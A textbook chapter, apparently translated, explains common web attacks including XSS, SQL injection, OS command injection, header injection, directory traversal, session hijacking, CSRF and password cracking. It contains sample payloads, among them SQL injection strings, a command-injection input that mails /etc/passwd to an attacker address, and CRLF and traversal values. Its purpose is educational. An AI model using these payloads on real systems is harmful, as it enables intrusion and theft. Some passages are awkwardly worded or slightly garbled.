Chapter 11 Web Attack Techniques
11.1 Web Attack Techniques
The simple HTTP protocol itself has no security problems, so the protocol itself will hardly be the target of attacks. The server and client using the HTTP protocol, as well as resources such as Web applications running on the server are the targets of the attack. At present, most of the attacks from the Internet are aimed at Web sites, and most of them target Web applications. This chapter mainly explains the attack techniques of Web applications.
11.1.1 HTTP Does Not Have Necessary Security Features
Today's Web site applications use the HTTP protocol in a radically different way than it was originally designed to do. Almost all of today's Web sites will use session (session) management, encryption processing and other security functions, but these functions are not available in the HTTP protocol.
On the whole, HTTP is a general pure protocol mechanism. Therefore, it has more advantages, but it is disadvantaged in terms of security.
Take the SSH protocol used for remote login as an example. SSH has functions such as protocol-level authentication and session management, while the HTTP protocol does not. In addition, in terms of setting up SSH service, anyone can easily create a service with high security level, and even if the HTTP server has been set up, if you want to provide web applications based on the server, you need to redevelop in many cases.
Therefore, developers need to design and develop authentication and session management functions to meet the security requirements of Web applications. And self-design means that there will be various realizations. As a result, the security level is not complete, but behind the web application that is still working, there are various bugs that are easy to be abused by attackers.
11.1.2 Requests can be tampered with at the client
In a web application, the entire content of the HTTP request received from the browser can be freely changed and tampered with at the client. So the web application may receive different content than the expected data.
By loading the attack code in the HTTP request message, an attack on the web application can be launched. The attack code is passed in through URL query fields or forms, HTTP headers, cookies, etc. If there is a security hole in the web application at this time, the internal information will be stolen, or the attacker will get management rights.
11.1.3 Attack modes against web applications
There are two attack modes against web applications.
Active attack
Passive attack
Active attack targeting the server
Active attack refers to the attack mode in which the attacker directly accesses the web application and introduces the attack code. Since this mode attacks resources directly on the server, the attacker needs to be able to access those resources.
Representative attacks in the active attack mode are SQL injection attacks and OS command injection attacks
Passive attack targeting the server Passive attack refers to the attack mode that uses the trap strategy to execute the attack code. During a passive attack, the attacker does not directly attack the target web application access. The usual attack pattern of a passive attack is as follows.
Step 1: The attacker tricks the user into triggering the set trap, which initiates an HTTP request with embedded attack code.
Step 2: After the user is unknowingly caught, the user's browser or mail client will trigger the trap.
Step 3: After being tricked, the user's browser will send the HTTP request containing the attack code to the web application as the attack target, and run the attack code.
Step 4: After the attack code is executed, the web application with security vulnerabilities will become a springboard for the attacker, which may lead to the theft of personal information such as cookies held by the user, malicious abuse of user rights in the login state, and other consequences. Typical attacks in the passive attack mode are cross-site scripting and cross-site request forgery.
Typical attacks in the passive attack mode are cross-site scripting and cross-site request forgery.
Using the user's identity to attack the internal network of the enterprise Using passive attacks, attacks can be launched on networks such as the intranet that cannot be directly accessed from the Internet. As long as the user steps into the trap set in advance by the attacker, within the range of the network that the user can access, even the intranet of the enterprise will also be attacked. Many enterprise intranets can still be connected to the Internet, visit Web sites, or receive emails from the Internet. This may give attackers an opportunity to induce users to trigger the trap and launch attacks on the corporate intranet.
11.2 Security vulnerabilities caused by incomplete escaping of output values
Implementing security countermeasures for Web applications can be roughly divided into the following two parts.
Client side validation
Web application side (server side) validation
Input value validation
Output value escape
In most cases JavaScript is used to validate data on the client side. However, tampering with data or disabling JavaScript is allowed on the client side, so it is not suitable to use JavaScript verification as a security measure. Retaining client-side validation is just to identify input errors as early as possible and improve the UI experience. The input value validation on the web application side may be mistaken for offensive code if it is processed in the web application. Input value validation usually refers to checking whether it is a value that conforms to the system business logic or checking character encoding and other preventive measures. When outputting data processed by a web application from a database or file system, HTML, email, etc., escaping values for the output is a critical security strategy. When the output value escapes incompletely, it will cause damage to the output object by triggering the attack code passed in by the attacker.
Cross-site scripting attack (Cross-Site Scripting, XSS) refers to an attack that runs illegal HTML tags or JavaScript in the browser of a registered user of a Web site with a security hole. Dynamically created portions of HTML can potentially hide security holes. In this way, the attacker writes a script to set a trap, and when the user is running on his browser, he will be passively attacked if he is not careful. Cross-site scripting attacks may cause the following effects. Use false input forms to defraud users of personal information. The script is used to steal the user's cookie value, and the victim helps the attacker to send malicious requests without knowing it. Display fake articles or images. The case of cross-site scripting attack occurs at the dynamically generated HTML. The following takes editing personal information page as an example to explain cross-site scripting attack. The interface below shows the content of personal information entered by the user.
The confirmation screen displays the character string entered in the editing screen as it is. Enter a character string with HTML tags such as Ichiro Yamaguchi here.
Figure: The mechanism of displaying the input content as it is
On the confirmation interface at this time, the browser will parse the user input into HTML tags, and then display a strikethrough. It wouldn't be too bad a strikethrough to show up, but what if the script tag was used instead. XSS is a passive attack triggered by attackers using pre-set traps. Cross-site scripting attacks are passive attacks, so attackers will arrange traps for attacks in advance. The website in the figure below specifies the ID through the query field of the URI in the address bar, which is equivalent to the function of automatically filling in the string in the form. And right there, there is a hidden vulnerability that can perform cross-site scripting attacks.
An attacker who is fully familiar with the characteristics of the vulnerability here creates the following URL embedded with malicious code. It is also hidden and implanted in pre-prepared fraudulent emails or Web pages, luring users to click on the URL. After the browser opens the URI, it feels intuitively that nothing has changed, but the set script secretly starts running. When the user enters the ID and password in the form, it will be sent directly to the attacker's website (that is, hackr.jp), resulting in the theft of personal login information. After that, the ID and password will be passed to the official website, and then Still following the normal login steps, it is difficult for users to realize that their login information has been leaked.
In addition to setting a trap in the form, the following maliciously constructed script can also steal the user's cookie information in the form of cross-site scripting attack.
Execute the above JavaScript program on a web application that has security vulnerabilities that allow cross-site scripting attacks, and you can access the cookie information under the domain name where the web application is located. This information is then sent to the attacker's Web site (http://hackr.jp/), where it is recorded in his login log. As a result, the attacker steals the user's cookie information in this way.
SQL injection attack that can execute illegal SQL SQL injection (SQLInjection) refers to an attack generated by running illegal SQL against the database used by the Web application. This security risk may cause great threats, and sometimes directly lead to the leakage of personal information and confidential information. Web applications usually use databases. When operations such as retrieval, addition, and deletion of data in database tables are required, SQL statements are used to connect to the database for specific operations. If there are omissions in the way of calling SQL statements, it is possible to execute maliciously injected (Injection) illegal SQL statements. SQL injection attacks may cause the following effects. Illegal viewing or tampering of data in the database Avoid authentication and execute programs associated with database server business What is SQLSQL is a database language used to operate a relational database management system (Relational DataBaseManagement System, RDBMS), which can manipulate data or define data, etc. . Well-known databases in RDBMS include Oracle Database, Microsoft SQLServer, IBM DB2, MySQL, and PostgreSQL. These database systems can use SQL as a database language. Web applications that use databases pass SQL statements to RDBMS through a certain method, and then flexibly use the results returned by RDBMS in Web applications.
SQL statement example
SELECT title,text FROM newsTbl WHERE id=123
SQL injection attack case
Specify the query field to search for
keyword = Ueno Xuan' –
SELECT * FROM bookTbl WHERE author ='Ueno Xuan' --' and flag=1;
The problem caused: in the SQL statement – everything after that is regarded as a comment. That is, the condition and flag=1 is automatically ignored.
keyword = '123 or 1=1'
SELECT title,text FROM newsTbl WHERE name= 123 or 1=1
The problem caused by: all data has been found out
11.2.3 OS command injection attack
OS command injection attack (OS Command Injection) refers to executing illegal operating system commands through web applications to achieve the purpose of attack. As long as the Shell function can be called, there is a risk of being attacked.
Operating system commands can be invoked through the shell from within the web application. If there is an omission when invoking the Shell, illegal OS commands inserted can be executed.
An OS command injection attack can send commands to the shell, causing the command line of the Windows or Linux operating system to launch programs. That is to say, security on the OS can be executed through OS injection attacks
.
OS injection attack case
The following uses the sending function of the consultation form as an example to explain OS injection attack. This function can send the user's consultation email to the email address of the other party that has been filled in.
The following is an excerpt of a part of the core code that processes the content of the form.
my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: [email protected]\n";
open in the program The function will call the sendmail command to send mail, and the specified mail sending address is the value of $adr.
; cat /etc/passwd | mail [email protected]
| /usr/sbin/sendmail ; cat /etc/passwd | mail [email protected]
The attacker's input value contains a semicolon (;). This symbol is interpreted as a token separating multiple execution commands in an OS command.
It can be seen that after the execution of the sendmail command is separated, the command such as cat /etc/passwd | mail [email protected] will be executed next. As a result, the file /etc/passwd containing the Linux account information was emailed to [email protected].
11.2.4 HTTP Header Injection Attack
HTTP Header Injection (HTTP Header Injection) refers to an attack in which an attacker adds any response header or body by inserting a newline in the response header field. Belongs to passive-aggressive mode. Attacks that add content to the header body are known as HTTP Response Splitting Attacks.
As shown below, Web applications sometimes assign values received from the outside to the response header fields Location and Set-Cookie.
Location: http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345
＊12345 is the inserted value
HTTP header injection might attack like this by inserting newlines where certain response header fields need to process output values.
HTTP header injection attacks may cause the following effects.
Set any cookie information
Redirect to any URL
to display any body (HTTP response truncation attack)
HTTP Header Injection Attack Case
Let's take the function of jumping to the page corresponding to each category after selecting a category as an example to explain HTTP header injection attack. This function sets a category ID value for each category. Once a category is selected, the ID value will be reflected in the Location header field in the response, such as Location: http://example.com/? cat=101. Cause the browser to redirect and jump.
The attacker sends the request with the following content replacing the previous category ID.
101%0D%0ASet-Cookie:+SID=123456789
Among them, %0D%0A represents the newline character in the HTTP message, followed by the session ID that can force the attacker website (http://hackr.jp/) Set to the Set-Cookie header field with SID=123456789.
After sending this request, assume the following response is returned as a result.
Location: http://example.com/?cat=101 (%0D%0A: line break)
Set-Cookie: SID=123456789
At this moment, the header field Set-Cookie is in effect, so the attacker can specify to modify any cookie information. In combination with a session fixation attack (the attacker can use a specified session ID) attack, the attacker can masquerade as the user.
The %0D%0A entered by the attacker should originally belong to the query value of the header field Location, but after parsing, %0D%0A becomes a newline character, and a new header field is inserted as a result.
This allows an attacker to insert arbitrary header fields into the response.
HTTP response truncation attack
HTTP response truncation attack is an attack used in HTTP header injection. The attack sequence is the same, but two %0D%0A%0D%0A are inserted side by side into the string and sent. These two consecutive newlines can be used to make the blank line required to separate the HTTP header and body, so that the forged body can be displayed to achieve the purpose of attack. Such attacks are called HTTP response truncation attacks.
%0D%0A%0D%0A
11.2.5 Email Header Injection Attack
11.2.6 Directory Traversal Attack
Directory Traversal attack refers to an attack that achieves the purpose of accessing a file directory that is not intended to be disclosed by illegally truncating its directory path. This attack is also sometimes called a Path Traversal attack.
When processing files through web applications, if there is an omission in the processing of externally specified file names, users can use relative paths such as .../ to locate absolute paths such as /etc/passed, so any file or file on the server All directories may be accessed. This makes it possible to illegally browse, tamper with or delete files on the web server. While there is a problem with escaping output values, it is better to turn off specified access to arbitrary file names.
Example of directory traversal attack
The following uses the function of displaying and reading files as an example to explain directory traversal attack. This function specifies a file name through the following query fields. Then read the specified file from the /www/log/ file directory.
http://example.com/read.php?log=0401.log
The attacker sends the request after setting the following query fields.
http://example.com/read.php?log=…/…/etc/passwd
query field In order to read the /etc/passwd file targeted by the attacker, the relative path will be located from the /www/log/ directory. If this read.php script accepts access requests to the specified directory, there is a risk of access to files that were not originally public.
11.2.7 Remote file inclusion vulnerability
Remote file inclusion vulnerability (Remote File Inclusion) means that when part of the script content needs to be read from other files, the attacker uses the URL of the specified external server as a dependent
file An attack that runs arbitrary scripts. This is mainly a security hole in PHP. For PHP's include or require, this is a function that can be set to specify the URL of the external server as the file name. However, this function is too dangerous, and it is invalid by default after PHP5.2.0. Although there is a problem with escaping output values, the specification of arbitrary file names should be controlled.
11.3 Security flaws caused by flaws in configuration or design Security flaws
caused by flaws in setup or design refer to security flaws caused by wrong settings of the Web server or by some design problems.
11.3.1 Forced Browsing
Forced Browsing (Forced Browsing) security vulnerability refers to browsing files that were originally involuntarily published from files placed in the public directory of the Web server.
Forced browsing may have the following effects.
Leakage of important information such as customers' personal information
Leakage of information that should be viewed only by users with access rights
Leakage of files that are not linked to the outside world URLs
of files that were not originally intended to be made public are hidden for security reasons. But once you know those URLs, it means you can browse the files corresponding to the URLs. When directly displaying easy-to-guess file names or file directory indexes, some methods may leak URLs.
File directory list
http://www.example.com/log/
By specifying the file directory name, you can see the displayed file name in the file list. The file name and directory name that are easy to guess
http://www.example.com/entry/entry_081202.log
The file name is easy to guess (according to the above situation, it can be deduced that the next file is entry_081203.log)
Backup file
http:// www.example.com/cgi-bin/entry.cgi (original file)
http://www.example.com/cgi-bin/entry.cgi~ (backup file)
http://www.example.com/cgi-bin/entry.bak (backup file)
The backup file automatically generated by the editing software has no execution permission and may be displayed directly in the form of source code.
The file that can only be displayed after certification is
directly passed URL access to files
(HTML files, images, documents such as PDFs, CSS and other data, etc.) that must be authenticated to be used on web pages
Cases of Security Vulnerabilities Caused by Forced Browsing
Let's take the SNS diary function of the membership system as an example to explain the possible security loopholes caused by forced browsing. The diary function ensures that no one can access the diary except the user himself who has the access authority.
The source code for the image photos contained in this diary is shown below.
Even if you don't have access to this diary, as long as you know the URL of the picture, you can display the picture by directly specifying the URL. The function and text of the diary have the control of the access object, but do not have the control of the image access object, thus creating a security hole.
11.3.2 Incorrect error message handling
Incorrect error message handling (Error Handling Vulnerability) security vulnerability means that the error message of a web application contains useful information for an attacker. The main error messages related to the web application are as follows.
Error messages thrown by web applications
Error messages thrown by systems such as databases
Web applications do not need to display detailed error messages on the user's browsing screen. For attackers, detailed error messages may give them hints for their next attack.
A case where incorrect error message handling leads to security vulnerabilities
Error message thrown by a web application
The following takes the authentication error message of the authentication function as an example to explain the incorrect error message handling method. This authentication function will prompt an error message when the email address and password entered in the form do not match.
The upper screen prompts the error message "Email address is not registered". This error message is triggered when the entered email address is not registered with the web site. Because if the email address exists, an error message such as "The password entered is incorrect" should be prompted.
The attacker will prompt different error messages by making different inputs, which can be used to confirm whether the entered email address has already been registered on this Web site. In order not to let the error message enlighten the attacker, it is recommended to keep the content of the prompt message only to the level of "authentication error".
Error messages thrown by systems such as databases
Let's take the error messages prompted by the search function as an example to explain how to deal with incorrect error messages. This function is used to retrieve data. When an unexpected character string is input, an error in the database will be prompted.
The following uses the authentication error message of the authentication function as an example to explain how to handle incorrect error messages. This authentication function will prompt an error message when the email address and password entered in the form do not match.
Error messages related to SQL are displayed in the upper screen. For developers, this information may be helpful when debugging, but it is of no use to users. From this message, the attacker can read that the database is MySQL, and even see a fragment of the SQL statement. This may give attackers inspiration for SQL injection attacks.
The errors thrown by the system mainly focus on the following aspects.
Script errors such as PHP or ASP.
Database or middleware errors.
Web server errors.
Each system should suppress detailed error messages, or use custom error messages to avoid certain error messages from inspiring attackers.
11.3.3 Open Redirect
Open Redirect (Open Redirect) is a function of redirecting to any specified URL. The security hole associated with this feature means that if the specified redirection URL is to a malicious Web site, then the user will be induced to that Web site.
Attack Cases of Open Redirection
Let's take the redirection of the following URL as an example to explain the case of open redirection attacks. This function is to redirect the original URL after specifying parameters to the URL.
http://example.com/?redirect=http://www.tricorder.jp
The attacker rewrites the parameters specified in the redirection to the corresponding connection of the trapped Web site, as shown below.
http://example.com/?redirect=http://hackr.jp
When users see the URL, they think they are going to example.com, but they are actually induced to hackr.jp, the designated redirection target.
If the redirection function is enabled on a highly credible website, it is likely to be selected by attackers and used as a springboard for phishing attacks.
11.4 Security vulnerabilities caused by negligent session management
Session management is an essential function for managing user status, but if there is any negligence in session management, the user's authentication status will be stolen.
11.4.1 Session hijacking
Session hijacking (Session Hijack) means that the attacker obtains the user's session ID through some means, and illegally uses the session ID to pretend to be the user to achieve the purpose of attack. For Web applications with authentication function, the session management mechanism using session ID is used as the mainstream way to manage the authentication status. The session ID records information such as the client's cookie, and the server side manages the one-to-one matching between the session ID and the authentication status.
Below are several ways in which an attacker can obtain a session ID.
Inferring session IDs through informal generation methods Stealing session IDs
through eavesdropping or XSS attacks Obtaining session IDs
forcibly through session fixation attacks (Session Fixation)
Session Hijacking Attack Case
Let's take the authentication function as an example to explain session hijacking. The authentication function here will save the successfully authenticated user's session ID (SID) in the cookie of the user's browser through the session management mechanism.
After the attacker knows that the website has a security hole that can be cross-site attacked (XSS), he sets up a trap to call document.cookie with a JavaScript script to steal cookie information. An attacker can obtain a cookie containing the session ID.
After the attacker gets the user's session ID, he sets the session ID in his browser's cookie, and then he can pretend to be the user whose session ID was stolen and visit the Web site.
11.4.2 Session Fixation Attacks
For the session hijacking that uses stealing the target session ID as the active attack method, the session fixation attack (Session Fixation) attack will force the user to use the session ID specified by the attacker, which is a passive attack.
Session Fixation Attack Case
The following uses the authentication function as an example to explain session fixation attack. The authentication function of this Web site will issue a session ID before authentication, and if the authentication is successful, the authentication status will be changed in the server.
The attacker prepares a trap by first visiting the Web site to get the session ID (SID=f5d1278e8109). At this moment, the record of the session ID on the server is still (unauthenticated). (Step ① ~ ②)
The attacker sets a trap to force the user to use the session ID, and waits for the user to authenticate with the session ID. Once the user triggers the trap and completes the authentication, the state of the session ID (SID=f5d1278e8109) on the server (User A is authenticated) will be recorded. (step ③)
The attacker estimates that the user has almost triggered the trap, and then uses the previous session ID to access the website. Since the session ID is currently in the state (User A is authenticated), the attacker successfully logs in to the website as User A. (step ④)
Session Adoption
Session Adoption refers to the function that PHP or ASP.NET can receive and process unknown session IDs.
Malicious use of this feature can skip the preparation stage of a session fixation attack and obtain the issued session ID from the Web site. That is, an attacker can create a session ID privately to form a trap, but the middleware will mistakenly think that the session ID is an unknown session ID and accept it.
11.4.3 Cross-Site Request Forgery
Cross-Site Request Forgery (Cross-Site Request Forgeries, CSRF) attack refers to that the attacker forces the authenticated user to perform unexpected personal information or setting information, etc. These status updates are passive-aggressive.
Cross-site request forgery may cause the following effects.
Using authenticated user authority to update setting information, etc.
Using authenticated user authority to purchase products
Using authenticated user authority to post comments on message boards
Cross-site request forgery attack example
The following uses the message board function as an example to explain cross-site request forgery. This function only allows authenticated and logged-in users to post content on the message board.
On the message board system, victim user A is authenticated. A cookie in its browser holds the authenticated session ID (step ①).
The attackers set the trap for sending requests to post non-subjective comments on the message board once the user visits. After user A's browser executes the request in the trap, the comment will be left on the message board (step ②).
When the trap is triggered, if user A has not passed the authentication, he cannot use the identity authority of user A to post content on the message board.
11.5 Other Security Vulnerabilities
11.5.1 Password Cracking
Password cracking attack (Password Cracking) is to calculate the password and break through the authentication. Attacks are not limited to Web applications, but also include other systems (such as FTP or SSH, etc.). This section will explain the password cracking of Web applications with authentication functions.
There are two ways to crack the password.
Password trial and error through the network
Cracking of encrypted passwords (referring to the situation where an attacker invades the system and obtains encrypted or hashed password data)
removes the means of attacking authentication breakthroughs, as well as SQL injection attacks to evade authentication, cross-site scripting Attacks to steal password information and other methods.
Password trial and error over the network
An attack on the authentication function provided by a web application by trying candidate passwords over the network. There are mainly two ways.
Brute-force
Attack Dictionary Attack Brute-
force
Attack Brute-force Attack (also known as brute-force attack) refers to exhaustive enumeration of the key space (Keyspace) composed of all key sets. That is, an attack that uses all feasible candidate passwords to try and error the target's cryptosystem to break through the verification.
For example, if the personal identification code adopted by the bank is a password composed of "4 digits", then it is necessary to try all the digits from 0000 to 9999 one by one. In this way, there must be a correct password in the candidate password set, which can pass the authentication. Because brute force tries all candidate passwords, it is an attack that is guaranteed to break the password. However, when the key space is large, decryption may take years, or even thousands of years, so from a practical point of view, the attack is a failure.
Dictionary attack
Dictionary attack refers to an attack method that uses pre-collected candidate passwords (stored in the dictionary after various combinations) to enumerate the passwords in the dictionary and try to pass the authentication.
Let’s take the example of a bank using a “4-digit” personal identification code as a password. Considering that users are more likely to use their own birthday as a password, the date of birth can be digitized, such as saving 0101~1231 as a dictionary , to try it out. Compared with the brute force method, since there are fewer candidate passwords to try, it means that the attack takes less time. However, if the correct password is not in the dictionary, it cannot be successfully cracked. So the success or failure of the attack depends on the content of the dictionary.
Attacks using IDs and passwords leaked elsewhere
Dictionary attacks include attacks that use leaked IDs and passwords lists from other Web sites. Many users are used to randomly using the same set of ID and password on multiple Web sites, so the attack will have a very high probability of success1.
Cracking of encrypted passwords
When saving passwords, web applications generally do not directly save them in plain text, but encrypt the passwords to be saved by hashing them with a hash function or adding salt. Even if the attacker uses some means to steal password data, if he wants to use these passwords, he must first restore the encrypted passwords to plain text through decoding and other means
.
There are usually several ways to derive plaintext from encrypted data.
Analogy through brute force dictionary attack
Rainbow table
to get the key
Vulnerabilities in the encryption algorithm
Analogy through brute force method · dictionary attack
For the case where the password is encrypted with a hash function, use the same method as the brute force method or dictionary attack, try to call the same hash function to encrypt the candidate password, and then use the calculated hash function The column value matches the target hash value and the class deduces the password.
Rainbow Table
Rainbow Table (Rainbow Table) is a database table composed of plaintext passwords and the corresponding hash values. Tips for reducing time-consuming. The corresponding plaintext password can be derived by searching the hash value in the rainbow table.
In order to improve the attack success rate, having a rainbow table with massive data becomes an indispensable condition. For example, on the website of Free Rainbow Tables (http://www.freerainbowtables.com/en/tables2/), a table composed of MD5 hash values corresponding to 1~8-digit character strings in full arrangement of uppercase and lowercase letters and numbers A rainbow table, which is about 1050 gigabytes in size.
Obtaining the Key
When using the shared key encryption method to encrypt the password data, if the key used for encryption can be obtained by some means, the password data can also be decrypted.
Vulnerabilities in the encryption algorithm
Considering the possible loopholes in the encryption algorithm itself, it is also a feasible method to use this loophole to try to decrypt. But it is not easy to find the loopholes of those widely used encryption algorithms, so it is extremely difficult and not easy to succeed. However, the encryption algorithms independently implemented by Web application developers must not have been fully verified, and there are still loopholes.
11.5.2 Clickjacking
Clickjacking (Clickjacking) refers to using transparent buttons or links to make traps and cover them on Web pages. An attack that then tricks the user into clicking on that link to access the content without their knowledge. This behavior is also known as UIRedressing.
The web pages that have been set up with traps have no inappropriate content on the surface, but they have already embedded links that they want users to click. When the user clicks the transparent button, he actually clicks the iframe page that has specified transparent attribute elements.
Click-jacking attack example
The following takes the logout function of an SNS website as an example to explain click-jacking attacks. With this logout function, registered SNS users only need to click the logout button to logout their membership from the SNS website.
Attackers lay traps on Web pages that users are expected to click on. The PLAY button on the fishing game page pictured above is an example of this type of trap. On the tampered web page, the target's SNS logout function page will be overlaid on the game web page as a transparent layer. When overriding, make sure that the PLAY button is consistent with the page location of the logout button.
11.5.3 DoS attack
DoS attack (Denial of Service attack) is an attack that stops running services. It is also sometimes called a stop-of-service attack or a denial-of-service attack. The objects of DoS attacks are not limited to Web sites, but also include network devices and servers.
There are mainly the following two DoS attack methods.
Centralized use of access requests causes resource overload, and when resources are exhausted, the service actually stops.
Stopping the service by exploiting a security hole.
Among them, the DoS attack that concentrates on access requests is simply to send a large number of legitimate requests. It is difficult for the server to distinguish what is a normal request and what is an attack request, so it is difficult to prevent DoS attacks.
A DoS attack launched by multiple computers is called a DDoS attack (Distributed Denial of Service attack). DDoS attacks typically use those infected computers as a launching pad for the attackers.
11.5.4 Backdoor program
Backdoor program (Backdoor) refers to the hidden entrance of development settings, which can use restricted functions without following normal steps. Utilizing the backdoor allows access to otherwise restricted functions. Common backdoor programs are divided into the following three types.
The backdoor program invoked as Debug during the development stage The
backdoor program implanted by the developer for his own benefit The
backdoor program set by the attacker through a certain method
An implanted backdoor can be discovered by monitoring the status of processes and communications.
However , the backdoor programs set in web applications are usually difficult to find because they are not much different from normal use.